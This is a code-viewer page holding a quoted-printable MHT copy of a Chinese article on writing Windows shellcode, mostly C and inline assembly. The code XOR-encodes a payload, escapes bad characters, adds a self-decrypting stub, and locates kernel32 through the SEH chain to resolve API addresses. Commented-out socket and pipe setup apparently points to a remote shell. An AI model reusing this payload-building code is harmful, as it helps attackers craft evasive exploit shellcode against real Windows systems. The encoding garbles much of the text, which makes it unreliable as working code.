📄 关于windows下shellcode编写的一点思考.mht
字号:
break;<BR> if (k<MAX_Enc_Len)=20
pSc_addr+=3D(k+8); =20
=
//=C8=E7=D5=D2=B5=BD=B6=A8=CE=BB=CA=B5=BC=CA=B4=FA=C2=EB=B5=C4=BF=AA=
=CA=BC<BR> */<BR><BR> //=D5=D2=B5=BDshellcode=B5=C4=
=BD=E1=CE=B2=BC=B0=B3=A4=B6=C8<BR> for(k=3D0;k<MAX_Sc_Len;+=
+k)=20
=
if(memcmp(pSc_addr+k,fnend_str,ENDSTRLEN)=3D=3D0)=20
break;<BR> if (k<MAX_Sc_Len)=20
Sc_len=3Dk;<BR> else=20
<BR> {<BR> =20
k=3D0;<BR> =
printf("\nNo End=20
str defined in ShellCodes function!Please=20
Check....\n");<BR> =
return=20
=
0;<BR> }<BR><BR><BR> //=B0=D1shellcode=B4=FA=C2=EB=B8=
=B4=D6=C6=BD=F8sc_buff<BR> memcpy(sc_buff,pSc_addr,Sc_len);<BR=
><BR> //=B0=D1=D7=D6=B7=FB=B4=AE=BF=BD=B1=B4=D4=DAshellcode=B5=
=C4=BD=E1=CE=B2<BR> for(i=3D0;i<MAX_api_strlen;++i)=20
=
if(memcmp(ApiStr+i,"strend",API_endstrlen)=3D=3D0)=20
=
break;<BR> if(i>=3DMAX_api_strlen)<BR> {<BR>&nbs=
p;=20
printf("\nNo End str defined =
in API=20
strings!Please Check....\n");<BR> =
=20
return=20
=
0;<BR> }<BR> memcpy(sc_buff+k,ApiStr,i);<BR><BR>&nb=
sp; Sc_len+=3Di; =20
=20
=
//=D4=F6=BC=D3shellcode=B5=C4=B3=A4=B6=C8<BR><BR> =
//<BR> //=B6=D4shellcode=BD=F8=D0=D0=B1=E0=C2=EB=CB=E3=B7=
=A8=BC=F2=B5=A5=A3=AC=BF=C9=B8=F9=BE=DD=D0=E8=D2=AA=B8=C4=B1=E4<BR> =
//<BR> k=3DEncCode_len+nop_LEN; =20
=20
=
//=B6=A8=CE=BB=BB=BA=B3=E5=C7=F8=D3=A6=B4=E6=B7=C5ShellCode=B5=D8=D6=B7=B5=
=C4=BF=AA=CA=BC<BR><BR> for(i=3D0;i<Sc_len;++i){<BR><BR>&nb=
sp;=20
=
ch=3Dsc_buff[i]^Enc_key;<BR> =20
=
//=B6=D4=D2=BB=D0=A9=BF=C9=C4=DC=D4=EC=B3=C9shellcode=CA=
=A7=D0=A7=B5=C4=D7=D6=B7=FB=BD=F8=D0=D0=CC=E6=BB=BB<BR> =20
if(ch<=3D0x1f||ch=3D=3D'=20
=
'||ch=3D=3D'.'||ch=3D=3D'/'||ch=3D=3D'\\'||ch=3D=3D'0'||ch=3D=3D'?'||ch=3D=
=3D'%'||ch=3D=3D'+')<BR> =20
{<BR> =20
buff[k]=3D'0';<BR> =
=20
++k;<BR> =20
ch+=3D0x31;<BR> =20
}<BR> =20
=
//=B0=D1=B1=E0=C2=EB=B9=FD=B5=C4shellcode=B7=C5=D4=DADe=
cryptSc=B4=FA=C2=EB=BA=F3=C3=E6<BR> =20
buff[k]=3Dch;<BR> =20
=
++k;<BR> }<BR><BR> //shellcode=B5=
=C4=D7=DC=B3=A4=B6=C8<BR> buff_len=3Dk;<BR><BR> //=B4=
=F2=D3=A1=B3=F6shellcode<BR> PrintSc(buff,buff_len);<BR> =
//buff[buff_len]=3D0;<BR> //printf("%s",buff);<BR><BR>#i=
fdef=20
DEBUG<BR> _asm{<BR> =
=20
lea eax,buff<BR> =
jmp=20
eax<BR> =20
=
ret<BR> }<BR>#endif<BR><BR> =20
=20
=
return 0;<BR>}<BR><BR>//=BD=E2=C2=EBshellcode=B5=C4=B4=FA=C2=EB=
<BR>void DecryptSc()<BR>{<BR> =20
=20
=
__asm{<BR><BR>/////////////////////////<BR>//=B6=A8=D2=E5=BF=AA=CA=BC=B1=EA=
=D6=BE<BR>/////////////////////////<BR> =20
=
PROC_BEGIN =20
//C macro to begin proc<BR><BR> =
=20
jmp =20
next<BR>getEncCodeAddr:<BR> =
=20
pop =
edi<BR> =20
=20
push edi<BR> =
=20
pop esi<BR> =
=20
xor =20
ecx,ecx<BR>Decrypt_lop: <BR> =
=20
lodsb<BR> =
=
cmp al,cl<BR> =20
jz =20
shell<BR> =
=20
=
cmp al,0x30 //=C5=D0=B6=CF=CA=C7=B7=F1=CE=AA=CC=D8=CA=
=E2=D7=D6=B7=FB<BR> =20
jz =20
special_char_clean<BR>store: =
=20
<BR> =
=20
xor al,Enc_key<BR> =
stosb<BR> =
=20
=
jmp Decrypt_lop<BR>special_char_clean: =20
<BR> =
=20
lodsb<BR> =
sub=20
al,0x31<BR> =
jmp=20
store<BR>next: =
<BR> =20
=20
call getEncCodeAddr<BR> =
=20
=20
=
//=C6=E4=D3=E0=D5=E6=D5=FD=BC=D3=C3=DC=B5=C4shellcode=B4=FA=C2=EB=BB=E1=C1=
=AC=BD=D3=D4=DA=B4=CB=B4=A6<BR>shell: =20
=
<BR><BR>/////////////////////////<BR>//=B6=A8=D2=E5=BD=E1=CA=F8=B1=EA=D6=BE=
<BR>/////////////////////////<BR> =20
PROC_END =20
//C macro to end =
proc<BR><BR> =20
}<BR>} =20
=20
=
<BR><BR>//<BR>//shellcode=B4=FA=C2=EB<BR>//<BR>void=20
ShellCodes()<BR>{<BR> =
//API=B5=CD=D6=B7=CA=FD=D7=E9 =20
<BR> FARPROC =20
=
API[API_num];<BR><BR><BR> =20
=
//=D7=D4=BC=BA=BB=F1=C8=A1=B5=C4API=B5=D8=D6=B7<BR> =
FARPROC =20
GetProcAddr;<BR> =20
FARPROC LoadLib;<BR><BR> =
=20
HANDLE =
hKrnl32;<BR> =20
HANDLE =20
libhandle;<BR><BR> char =
=20
*ApiStr_addr,*p;<BR> =
=20
<BR> int =
=20
k;<BR> u_short =20
shellcodeport;<BR><BR> =
=20
//=B2=E2=CA=D4=D3=C3=B1=E4=C1=BF<BR> =
char =20
*testAddr;<BR><BR>/*<BR> =
=20
STARTUPINFO siinfo;<BR> =
SOCKET =20
listenFD,clientFD;<BR> =
=20
struct sockaddr_in=20
server;<BR> int =20
iAddrSize =3D =
sizeof(server);<BR> =20
int =20
lBytesRead;<BR> =
PROCESS_INFORMATION=20
ProcessInformation;<BR> =
HANDLE =20
=20
=
hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;<BR> =20
SECURITY_ATTRIBUTES =
sa;<BR><BR>*/<BR><BR><BR>_asm=20
{<BR> =
jmp =20
locate_addr0<BR>getApiStr_addr:<BR> =
pop =20
ApiStr_addr<BR><BR> =20
=
//=BF=AA=CA=BC=BB=F1=C8=A1API=B5=C4=B5=D8=D6=B7=D2=D4=BC=
=B0GetProcAddress=BA=CDLoadLibraryA=B5=C4=B5=D8=D6=B7<BR> =20
=20
=
//=D2=D4=BA=F3=BE=CD=BF=C9=D2=D4=B7=BD=B1=E3=B5=D8=BB=F1=
=C8=A1=C8=CE=BA=CEAPI=B5=C4=B5=D8=D6=B7=C1=CB<BR><BR> =20
=
//=B1=A3=BB=A4=BC=C4=B4=E6=C6=F7<BR> =20
=
pushad<BR><BR> =20
xor =
esi,esi<BR> =20
lods =
dword=20
ptr fs:[esi]<BR> =20
=
<BR>Search_Krnl32_lop:<BR> =20
inc =20
eax<BR> =20
je =20
Krnl32_Base_Ok<BR> =20
dec =20
eax<BR> =20
xchg =
esi,eax<BR> =20
=20
LODSD <BR> =20
jmp =20
=
Search_Krnl32_lop<BR>Krnl32_Base_Ok:<BR><BR> =20
LODSD =
=20
=
=20
<BR> =
=20
=
=20
=
;compare if=20
PE_hdr<BR> =20
xchg =
esi,eax<BR> =20
find_pe_header:<BR> =20
dec =20
esi<BR> =20
xor =20
si,si =
=20
;kernel32 is 64kb =
align<BR> =20
mov =20
eax,[esi]<BR> =
=20
add =20
ax,-'ZM' =20
; =
<BR> =20
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -